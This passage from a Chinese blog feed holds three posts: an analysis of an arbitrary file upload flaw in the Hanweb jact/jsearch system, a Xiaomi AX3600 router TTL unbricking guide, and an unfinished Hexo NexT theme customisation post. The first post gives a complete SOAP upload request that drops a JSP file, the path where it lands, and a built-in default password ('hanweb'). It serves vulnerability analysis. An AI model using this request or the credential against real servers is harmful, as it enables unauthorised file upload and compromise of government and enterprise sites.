    <content><![CDATA[<p>在护网的时候，许多目标都用大汉jact这套系统。根据“小道消息”说是有最新的任意文件上传！<img data-src="https://s2.loli.net/2023/04/06/jmcwoWMYTx54lyk.png" alt="hanweb-decode"></p>
<span id="more"></span>

<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>这个问题在2014年5月12号的时候在<span class="exturl" data-url="aHR0cHM6Ly93eS56b25lLmNpL2J1Z19kZXRhaWwucGhwP3d5YnVnX2lkPXdvb3l1bi0yMDE0LTA2MDI3Ng==">乌云<i class="fa fa-external-link-alt"></i></span>上提交过，8月10号公开出来的。根据乌云描述(<code>jact的该操作又有所不同，区别还是在用户验证上，jact中最后查询用户名密码的时候是用hibernate预处理，目测不能绕过，只有提供正确用户名密码才能上传。</code>)来看关键是需要正确的用户密码。而最近这个说的任意文件上传关键点在于系统内置的默认用户。如果手头上有大汉老版本的，可以查看对应用户表即可成功利用该漏洞</p>
<p>jact&#x2F;services&#x2F;wsinfo</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line">POST /jsearch/webservice/wsInfo HTTP/1.0</span><br><span class="line">Content-Type: multipart/related; type=&quot;text/xml&quot;; start=&quot;<span class="tag">&lt;<span class="name">CB69CE057274B576D4C44A9112AE8DE8</span>&gt;</span>&quot;; 	boundary=&quot;----=_Part_0_9532399.1399678337692&quot;</span><br><span class="line">Accept: application/soap+xml, application/dime, multipart/related, text/*</span><br><span class="line">User-Agent: Axis/1.2</span><br><span class="line">Host: target.com</span><br><span class="line">Cache-Control: no-cache</span><br><span class="line">Pragma: no-cache</span><br><span class="line">SOAPAction: &quot;&quot;</span><br><span class="line">Content-Length: 1084</span><br><span class="line">------=_Part_0_9532399.1399678337692</span><br><span class="line">Content-Type: text/xml; charset=UTF-8</span><br><span class="line">Content-Transfer-Encoding: binary</span><br><span class="line">Content-Id: <span class="tag">&lt;<span class="name">CB69CE057274B576D4C44A9112AE8DE8</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">soapenv:Envelope</span> <span class="attr">xmlns:soapenv</span>=<span class="string">&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;</span> <span class="attr">xmlns:xsd</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema&quot;</span> <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">soapenv:Body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ns1:receivefile</span> <span class="attr">soapenv:encodingStyle</span>=<span class="string">&quot;http://schemas.xmlsoap.org/soap/encoding/&quot;</span> <span class="attr">xmlns:ns1</span>=<span class="string">&quot;http://target.com/jsearch/webservice/wsInfo&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">strLoginId</span> <span class="attr">xsi:type</span>=<span class="string">&quot;xsd:string&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">strLoginId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">strPwd</span> <span class="attr">xsi:type</span>=<span class="string">&quot;xsd:string&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">strPwd</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">strKey</span> <span class="attr">xsi:type</span>=<span class="string">&quot;xsd:string&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">strKey</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">handler</span> <span class="attr">href</span>=<span class="string">&quot;cid:1AA0D9D06D1918F13C495E8419BE26EB&quot;</span> <span class="attr">xsi:type</span>=<span class="string">&quot;ns2:DataHandler&quot;</span> <span class="attr">xmlns:ns2</span>=<span class="string">&quot;ns:FileUploadHandler&quot;</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">fileName</span> <span class="attr">xsi:type</span>=<span class="string">&quot;xsd:string&quot;</span>&gt;</span>test.jsp<span class="tag">&lt;/<span class="name">fileName</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iState</span> <span class="attr">xsi:type</span>=<span class="string">&quot;xsd:int&quot;</span>&gt;</span>0<span class="tag">&lt;/<span class="name">iState</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ns1:receivefile</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">soapenv:Body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">soapenv:Envelope</span>&gt;</span></span><br><span class="line"></span><br><span class="line">------=_Part_0_9532399.1399678337692</span><br><span class="line">Content-Type: text/plain</span><br><span class="line">Content-Transfer-Encoding: binary</span><br><span class="line">Content-Id: &lt;1AA0D9D06D1918F13C495E8419BE26EB&gt;</span><br><span class="line"></span><br><span class="line">&lt;%=&quot;hello world!&quot;%&gt;</span><br><span class="line">------=_Part_0_9532399.1399678337692--</span><br></pre></td></tr></table></figure>

<p>上传成功之后，具体落地路径为：<code>jact/main/jact/commonuser/transact/temp/Data/test.jsp</code>其中Data为当前年月，例如：20XXXX</p>
<h1 id="解密"><a href="#解密" class="headerlink" title="解密"></a>解密</h1><p>默认存在某个用户，密码为hanweb。</p>
<p><img data-src="https://s2.loli.net/2023/04/06/jmcwoWMYTx54lyk.png" alt="hanweb-decode"></p>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>小米AX3600 TTL刷机</title>
    <url>/archives/ed29cee2.html</url>
    <content><![CDATA[<p>心血来潮把ax3600刷成openwrt 5.15内核，然后直接通过web界面（没清配置）降级到5.10，导致直接刷成砖。后面通过ttl成功救回来。</p>
<p><img data-src="https://s2.loli.net/2022/03/28/zBLkYT5yaWqoZX3.png" alt="AX3600-黄灯"></p>
<span id="more"></span>

<h1 id="拆机"><a href="#拆机" class="headerlink" title="拆机"></a>拆机</h1><p>把底部螺丝都拆下来之后，把卡扣翘起来就可以了。卡扣有点紧，要小心。</p>
<p><img data-src="https://s2.loli.net/2022/03/28/NFwmTqpCt7abfYn.png" alt="AX3600-拆机"></p>
<p>由于板子没有预留插座，需要自己焊一个插座上去。这时候就需要把天线、主板螺丝都卸下来。建议拍照，以免忘记如何布局。</p>
<p><img data-src="https://s2.loli.net/2022/03/28/5HwyivaA6xqpDtM.png" alt="AX3600-主版"></p>
<p>焊完插座，接上TTL就可以接着操作了。Ps：TTL接的时候需要RX-TX、TX—RX。</p>
<p><img data-src="https://s2.loli.net/2022/03/28/JnAo2l1V6ObKXv5.png" alt="AX3600-TTL"></p>
<h1 id="刷机"><a href="#刷机" class="headerlink" title="刷机"></a>刷机</h1><p>修改速率为115200，通过xshell、putty等任意工具连接</p>
<p><img data-src="https://s2.loli.net/2022/03/28/Lh6XwAzR2uYflop.png" alt="AX3600-115200"></p>
<p>Xshell连接之后，先不要接路由器，修改网卡速率为100M全双工，之后修改本地ip地址为192.168.31.100。最后接上网线（主机-路由器lan口）</p>
<p><img data-src="https://s2.loli.net/2022/03/28/eKrY8AbqIxGaFhw.png" alt="AX3600-100m"></p>
<p>现在重启路由器，等黄灯亮起来1s左右，接上杜邦线。Ps：如果先接上线，再重启路由器会导致路由器无法正常启动。</p>
<p>由于AX3600是双分区，我刷机的时候是将openwrt刷到rootfs_1分区。为了避免问题，把rootfs、rootfs_1两个分区都擦除。TTL命令如下</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">setenv serverip 192.168.31.100</span><br><span class="line">setenv ipaddr 192.168.31.1</span><br><span class="line">tftpboot xx.ubi // 对应的ubi文件</span><br><span class="line">smeminfo  <span class="comment">#查看mtd12（roofs）和roofs1地址</span></span><br><span class="line"></span><br><span class="line">nand erase 0xa00000  0x23c0000 <span class="comment"># 擦除rootfs分区</span></span><br><span class="line">nand erase 0x2dc0000 0x8000000 <span class="comment">#擦除rootfs_1和后面所有数据</span></span><br><span class="line">nand write 0x44000000 0x2dc0000 0x1ac0000 <span class="comment">#将44000000数据写入2dc0000 写入数据大小为1ac0000 需根据ubi文件大小进行写入</span></span><br></pre></td></tr></table></figure>

<p><img data-src="https://s2.loli.net/2022/03/28/gFiynuozKwENRCJ.png" alt="AX3600-UBOOT"></p>
<p>最后断电重启即可成功恢复，记得把ttl线拔下来。</p>
]]></content>
      <categories>
        <category>瞎折腾</category>
        <category>IOT</category>
      </categories>
      <tags>
        <tag>路由器</tag>
      </tags>
  </entry>
  <entry>
    <title>Blog美化</title>
    <url>/archives/11804e57.html</url>
    <content><![CDATA[<p>本篇文章记录nexT主题的美化工作。<br>效果图呈现：<br><img data-src="https://i.loli.net/2018/01/16/5a5e1291b3c4f.png" alt="博客首页效果.png"></p>
<span id="more"></span>

<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>通过<a href="/archives/d6a90b9.html" title="Blog更新&amp;配置文件详解">Blog更新&amp;配置文件详解</a>的内容基本能满足大部分的需求，如果想要逼格高一点、深度优化，可以对里面的一些文件（swig、js等）进行新增、修改等。</p>
<h1 id="美化"><a href="#美化" class="headerlink" title="美化"></a>美化</h1><h2 id="点击特效"><a href="#点击特效" class="headerlink" title="点击特效"></a>点击特效</h2><p>点击特效可通过JS来实现，大家可以选择自己喜欢的特效，调用JS即可。我选择的是点击桃心特效，js源码如下：</p>
<figure class="highlight scheme"><table><tr><td class="code"><pre><span class="line">(<span class="name">function</span>(<span class="name">window</span>,document,undefined)&#123;</span><br><span class="line">  var hearts = []<span class="comment">;</span></span><br><span class="line">  window.requestAnimationFrame = (<span class="name">function</span>()&#123;</span><br><span class="line">    return window.requestAnimationFrame ||</span><br><span class="line">      window.webkitRequestAnimationFrame ||</span><br><span class="line">      window.mozRequestAnimationFrame ||</span><br><span class="line">      window.oRequestAnimationFrame ||</span><br><span class="line">      window.msRequestAnimationFrame ||</span><br><span class="line">      function (<span class="name">callback</span>)&#123;</span><br><span class="line">        setTimeout(<span class="name">callback</span>,<span class="number">1000/60</span>)<span class="comment">;</span></span><br><span class="line">      &#125;</span><br><span class="line">  &#125;)()<span class="comment">;</span></span><br><span class="line">  init()<span class="comment">;</span></span><br><span class="line">  function init()&#123;</span><br><span class="line">    css(<span class="string">&quot;.heart&#123;width: 10px;height: 10px;position: fixed;background: #f00;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);&#125;.heart:after,.heart:before&#123;content: &#x27;&#x27;;width: inherit;height: inherit;background: inherit;border-radius: 50%;-webkit-border-radius: 50%;-moz-border-radius: 50%;position: absolute;&#125;.heart:after&#123;top: -5px;&#125;.heart:before&#123;left: -5px;&#125;&quot;</span>)<span class="comment">;</span></span><br><span class="line">    attachEvent()<span class="comment">;</span></span><br><span class="line">    gameloop()<span class="comment">;</span></span><br><span class="line">  &#125;</span><br><span class="line">  function gameloop()&#123;</span><br><span class="line">    for(<span class="name">var</span> i=0<span class="comment">;i&lt;hearts.length;i++)&#123;</span></span><br><span class="line">      if(<span class="name">hearts</span>[<span class="name">i</span>].alpha &lt;=0)&#123;</span><br><span class="line">        document.body.removeChild(<span class="name">hearts</span>[<span class="name">i</span>].el)<span class="comment">;</span></span><br><span class="line">        hearts.splice(<span class="name">i</span>,<span class="number">1</span>)<span class="comment">;</span></span><br><span class="line">        continue<span class="comment">;</span></span><br><span class="line">      &#125;</span><br><span class="line">      hearts[<span class="name">i</span>].y--<span class="comment">;</span></span><br><span class="line">      hearts[<span class="name">i</span>].scale += <span class="number">0.004</span><span class="comment">;</span></span><br><span class="line">      hearts[<span class="name">i</span>].alpha -= <span class="number">0.013</span><span class="comment">;</span></span><br><span class="line">      hearts[<span class="name">i</span>].el.style.cssText = <span class="string">&quot;left:&quot;</span>+hearts[<span class="name">i</span>].x+<span class="string">&quot;px;top:&quot;</span>+hearts[<span class="name">i</span>].y+<span class="string">&quot;px;opacity:&quot;</span>+hearts[<span class="name">i</span>].alpha+<span class="string">&quot;;transform:scale(&quot;</span>+hearts[<span class="name">i</span>].scale+<span class="string">&quot;,&quot;</span>+hearts[<span class="name">i</span>].scale+<span class="string">&quot;) rotate(45deg);background:&quot;</span>+hearts[<span class="name">i</span>].color<span class="comment">;</span></span><br><span class="line">    &#125;</span><br><span class="line">    requestAnimationFrame(<span class="name">gameloop</span>)<span class="comment">;</span></span><br><span class="line">  &#125;</span><br><span class="line">  function attachEvent()&#123;</span><br><span class="line">    var old = typeof window.onclick===<span class="string">&quot;function&quot;</span> &amp;&amp; window.onclick<span class="comment">;</span></span><br><span class="line">    window.onclick = function(<span class="name">event</span>)&#123;</span><br><span class="line">      old &amp;&amp; old()<span class="comment">;</span></span><br><span class="line">      createHeart(<span class="name">event</span>)<span class="comment">;</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  function createHeart(<span class="name">event</span>)&#123;</span><br><span class="line">    var d = document.createElement(<span class="string">&quot;div&quot;</span>)<span class="comment">;</span></span><br><span class="line">    d.className = <span class="string">&quot;heart&quot;</span><span class="comment">;</span></span><br><span class="line">    hearts.push(&#123;</span><br><span class="line">      el : d,</span><br><span class="line">      x : event.clientX - <span class="number">5</span>,</span><br><span class="line">      y : event.clientY - <span class="number">5</span>,</span><br><span class="line">      scale : <span class="number">1</span>,</span><br><span class="line">      alpha : <span class="number">1</span>,</span><br><span class="line">      color : randomColor()</span><br><span class="line">    &#125;)<span class="comment">;</span></span><br><span class="line">    document.body.appendChild(<span class="name">d</span>)<span class="comment">;</span></span><br><span class="line">  &#125;</span><br><span class="line">  function css(<span class="name">css</span>)&#123;</span><br><span class="line">    var style = document.createElement(<span class="string">&quot;style&quot;</span>)<span class="comment">;</span></span><br><span class="line">    style.type=<span class="string">&quot;text/css&quot;</span><span class="comment">;</span></span><br><span class="line">    try&#123;</span><br><span class="line">      style.appendChild(<span class="name">document.createTextNode</span>(<span class="name">css</span>))<span class="comment">;</span></span><br><span class="line">    &#125;catch(<span class="name">ex</span>)&#123;</span><br><span class="line">      style.styleSheet.cssText = css<span class="comment">;</span></span><br><span class="line">    &#125;</span><br><span class="line">    document.getElementsByTagName(<span class="symbol">&#x27;head</span>&#x27;)[<span class="name">0</span>].appendChild(<span class="name">style</span>)<span class="comment">;</span></span><br><span class="line">  &#125;</span><br><span class="line">  function randomColor()&#123;</span><br><span class="line">    return <span class="string">&quot;rgb(&quot;</span>+(<span class="name">~~</span>(<span class="name">Math.random</span>()*255))+<span class="string">&quot;,&quot;</span>+(<span class="name">~~</span>(<span class="name">Math.random</span>()*255))+<span class="string">&quot;,&quot;</span>+(<span class="name">~~</span>(<span class="name">Math.random</span>()*255))+<span class="string">&quot;)&quot;</span><span class="comment">;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;)(<span class="name">window</span>,document)<span class="comment">;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>将上面源码存放为click.js文件内，将click.js文件放在&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;js&#x2F;src\路径下。<br>打开 &#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout&#x2F;_layout.swig 文件， 在head标签内最后位置添加以下代码：</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">type</span>=<span class="string">&quot;text/javascript&quot;</span> <span class="attr">src</span>=<span class="string">&quot;/js/src/click.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure>
<h2 id="修改文章内链接文本样式"><a href="#修改文章内链接文本样式" class="headerlink" title="修改文章内链接文本样式"></a>修改文章内链接文本样式</h2><p>修改文件&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_common&#x2F;components&#x2F;post&#x2F;post.styl，在末尾添加如下css样式：</p>
<figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.post-body</span> <span class="selector-tag">p</span> <span class="selector-tag">a</span>&#123;</span><br><span class="line">  <span class="attribute">color</span>: <span class="number">#0593d3</span>;</span><br><span class="line">  <span class="attribute">border-bottom</span>: none;</span><br><span class="line">  <span class="attribute">border-bottom</span>: <span class="number">1px</span> solid <span class="number">#0593d3</span>;</span><br><span class="line">  &amp;<span class="selector-pseudo">:hover</span> &#123;</span><br><span class="line">    <span class="attribute">color</span>: <span class="number">#fc6423</span>;</span><br><span class="line">    <span class="attribute">border-bottom</span>: none;</span><br><span class="line">    <span class="attribute">border-bottom</span>: <span class="number">1px</span> solid <span class="number">#fc6423</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="文章底部标签样式"><a href="#文章底部标签样式" class="headerlink" title="文章底部标签样式"></a>文章底部标签样式</h2><p>修改模板&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout&#x2F;_macro&#x2F;post.swig，搜索 rel&#x3D;”tag”&gt;#，将 # 换成<i class="fa fa-tag"></i>或者可以从<span class="exturl" data-url="aHR0cDovL2ZvbnRhd2Vzb21lLmlvL2ljb25zLw==" title="fontawesome.io">这里<i class="fa fa-external-link-alt"></i></span>自己挑。</p>
<figure class="highlight handlebars"><table><tr><td class="code"><pre><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;</span></span></span><span class="template-variable">&#123;&#123; <span class="name">url_for</span>(<span class="name">tag.path</span>) &#125;&#125;</span><span class="language-xml"><span class="tag"><span class="string">&quot;</span> <span class="attr">rel</span>=<span class="string">&quot;tag&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fa fa-tag&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><span class="template-variable">&#123;&#123; <span class="name">tag.name</span> &#125;&#125;</span><span class="language-xml"><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span></span><br></pre></td></tr></table></figure>
<h2 id="文章末尾添加结束标记"><a href="#文章末尾添加结束标记" class="headerlink" title="文章末尾添加结束标记"></a>文章末尾添加结束标记</h2><p>在路径&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout&#x2F;_macro&#x2F;中新建 passage-end-tag.swig 文件,并添加以下内容：</p>
<figure class="highlight django"><table><tr><td class="code"><pre><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    </span><span class="template-tag">&#123;% <span class="name"><span class="name">if</span></span> not is_index %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;text-align:center;color: #ccc;font-size:14px;&quot;</span>&gt;</span>-------------本文结束<span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fa fa-heart-o&quot;</span> <span class="attr">aria-hidden</span>=<span class="string">&quot;true&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span>感谢您的阅读-------------<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    </span><span class="template-tag">&#123;% <span class="name"><span class="name">endif</span></span> %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br></pre></td></tr></table></figure>
<p>接着打开&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;layout&#x2F;_macro&#x2F;post.swig文件，post-footer之前添加如下代码（post-footer之前两个DIV）：</p>
<figure class="highlight django"><table><tr><td class="code"><pre><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">      </span><span class="template-tag">&#123;% <span class="name"><span class="name">if</span></span> not is_index %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">        </span><span class="template-tag">&#123;% <span class="name"><span class="name">include</span></span> &#x27;passage-end-tag.swig&#x27; %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">      </span><span class="template-tag">&#123;% <span class="name"><span class="name">endif</span></span> %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">    </span><span class="template-tag">&#123;% <span class="name"><span class="name">if</span></span> (theme.alipay or theme.wechatpay or theme.bitcoin) and not is_index %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">      <span class="tag">&lt;<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">        </span><span class="template-tag">&#123;% <span class="name"><span class="name">include</span></span> &#x27;reward.swig&#x27; %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">      <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    </span><span class="template-tag">&#123;% <span class="name"><span class="name">endif</span></span> %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">    </span><span class="template-tag">&#123;% <span class="name"><span class="name">if</span></span> theme.post_copyright.enable and not is_index %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">      <span class="tag">&lt;<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">        </span><span class="template-tag">&#123;% <span class="name"><span class="name">include</span></span> &#x27;post-copyright.swig&#x27; with &#123; post: post &#125; %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">      <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    </span><span class="template-tag">&#123;% <span class="name"><span class="name">endif</span></span> %&#125;</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">    <span class="tag">&lt;<span class="name">footer</span> <span class="attr">class</span>=<span class="string">&quot;post-footer&quot;</span>&gt;</span></span></span><br></pre></td></tr></table></figure>
<p>打开主题配置文件&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;_config.yml,在末尾添加：</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 文章末尾添加结束标记</span></span><br><span class="line"><span class="attr">passage_end_tag:</span></span><br><span class="line">  <span class="attr">enabled:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<h2 id="侧边栏作者头像修改"><a href="#侧边栏作者头像修改" class="headerlink" title="侧边栏作者头像修改"></a>侧边栏作者头像修改</h2><p>把侧边栏头像变成圆形，并且鼠标停留在上面发生旋转效果，修改&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_common&#x2F;components&#x2F;sidebar&#x2F;sidebar-author.styl:</p>
<figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.site-author-image</span> &#123;</span><br><span class="line">  <span class="attribute">display</span>: block;</span><br><span class="line">  <span class="attribute">margin</span>: <span class="number">0</span> auto;</span><br><span class="line">  <span class="attribute">padding</span>: $site-author-image-padding;</span><br><span class="line">  <span class="attribute">max-width</span>: $site-author-image-width;</span><br><span class="line">  <span class="attribute">height</span>: $site-author-image-height;</span><br><span class="line">  <span class="attribute">border</span>: $site-author-image-border-width solid $site-author-image-border-color;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* 头像圆形 */</span></span><br><span class="line">  <span class="attribute">border-radius</span>: <span class="number">80px</span>;</span><br><span class="line">  -webkit-<span class="attribute">border-radius</span>: <span class="number">80px</span>;</span><br><span class="line">  -moz-<span class="attribute">border-radius</span>: <span class="number">80px</span>;</span><br><span class="line">  <span class="attribute">box-shadow</span>: inset <span class="number">0</span> -<span class="number">1px</span> <span class="number">0</span> #<span class="number">333s</span>f;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* 设置循环动画 [animation: (play)动画名称 (2s)动画播放时长单位秒或微秒 (ase-out)动画播放的速度曲线为以低速结束 </span></span><br><span class="line"><span class="comment">    (1s)等待1秒然后开始动画 (1)动画播放次数(infinite为循环播放) ]*/</span></span><br><span class="line">  -webkit-<span class="attribute">animation</span>: play <span class="number">2s</span> ease-out <span class="number">1s</span> <span class="number">1</span>;</span><br><span class="line">  -moz-<span class="attribute">animation</span>: play <span class="number">2s</span> ease-out <span class="number">1s</span> <span class="number">1</span>;</span><br><span class="line">  <span class="attribute">animation</span>: play <span class="number">2s</span> ease-out <span class="number">1s</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* 鼠标经过头像旋转360度 */</span></span><br><span class="line">  -webkit-<span class="attribute">transition</span>: -webkit-transform <span class="number">1.5s</span> ease-out;</span><br><span class="line">  -moz-<span class="attribute">transition</span>: -moz-transform <span class="number">1.5s</span> ease-out;</span><br><span class="line">  <span class="attribute">transition</span>: transform <span class="number">1.5s</span> ease-out;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-tag">img</span><span class="selector-pseudo">:hover</span> &#123;</span><br><span class="line">  <span class="comment">/* 鼠标经过停止头像旋转 </span></span><br><span class="line"><span class="comment">  -webkit-animation-play-state:paused;</span></span><br><span class="line"><span class="comment">  animation-play-state:paused;*/</span></span><br><span class="line">  <span class="comment">/* 鼠标经过头像旋转360度 */</span></span><br><span class="line">  -webkit-<span class="attribute">transform</span>: <span class="built_in">rotateZ</span>(<span class="number">360deg</span>);</span><br><span class="line">  -moz-<span class="attribute">transform</span>: <span class="built_in">rotateZ</span>(<span class="number">360deg</span>);</span><br><span class="line">  <span class="attribute">transform</span>: <span class="built_in">rotateZ</span>(<span class="number">360deg</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/* Z 轴旋转动画 */</span></span><br><span class="line"><span class="keyword">@-webkit-keyframes</span> play &#123;</span><br><span class="line">  <span class="number">0%</span> &#123;</span><br><span class="line">    -webkit-<span class="attribute">transform</span>: <span class="built_in">rotateZ</span>(<span class="number">0deg</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="number">100%</span> &#123;</span><br><span class="line">    -webkit-<span class="attribute">transform</span>: <span class="built_in">rotateZ</span>(-<span class="number">360deg</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">@-moz-keyframes</span> play &#123;</span><br><span class="line">  <span class="number">0%</span> &#123;</span><br><span class="line">    -moz-<span class="attribute">transform</span>: <span class="built_in">rotateZ</span>(<span class="number">0deg</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="number">100%</span> &#123;</span><br><span class="line">    -moz-<span class="attribute">transform</span>: <span class="built_in">rotateZ</span>(-<span class="number">360deg</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">@keyframes</span> play &#123;</span><br><span class="line">  <span class="number">0%</span> &#123;</span><br><span class="line">    <span class="attribute">transform</span>: <span class="built_in">rotateZ</span>(<span class="number">0deg</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="number">100%</span> &#123;</span><br><span class="line">    <span class="attribute">transform</span>: <span class="built_in">rotateZ</span>(-<span class="number">360deg</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.site-author-name</span> &#123;</span><br><span class="line">  <span class="attribute">margin</span>: $site-author-name-margin;</span><br><span class="line">  <span class="attribute">text-align</span>: $site-author-name-align;</span><br><span class="line">  <span class="attribute">color</span>: $site-author-name-color;</span><br><span class="line">  <span class="attribute">font-weight</span>: $site-author-name-weight;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.site-description</span> &#123;</span><br><span class="line">  <span class="attribute">margin-top</span>: $site-description-margin-top;</span><br><span class="line">  <span class="attribute">text-align</span>: $site-description-align;</span><br><span class="line">  <span class="attribute">font-size</span>: $site-description-font-size;</span><br><span class="line">  <span class="attribute">color</span>: $site-description-color;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="背景-amp-透明度美化"><a href="#背景-amp-透明度美化" class="headerlink" title="背景&amp;透明度美化"></a>背景&amp;透明度美化</h2><h3 id="背景图片"><a href="#背景图片" class="headerlink" title="背景图片"></a>背景图片</h3><p>在&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_custom文件夹下打开custom.styl文件，往里面添加以下代码：</p>
<figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">body</span>&#123;   </span><br><span class="line">        <span class="attribute">background</span>:<span class="built_in">url</span>(<span class="string">图片链接</span>);</span><br><span class="line">        <span class="attribute">background-size</span>:cover;</span><br><span class="line">        <span class="attribute">background-repeat</span>:no-repeat;</span><br><span class="line">        <span class="attribute">background-attachment</span>:fixed;</span><br><span class="line">        <span class="attribute">background-position</span>:center;</span><br><span class="line">     &#125;</span><br></pre></td></tr></table></figure>
<h3 id="文字背景色设置"><a href="#文字背景色设置" class="headerlink" title="文字背景色设置"></a>文字背景色设置</h3><p>在&#x2F;hexo&#x2F;themes&#x2F;next&#x2F;source&#x2F;css&#x2F;_custom文件夹下打开custom.styl文件，往里面添加以下代码：</p>
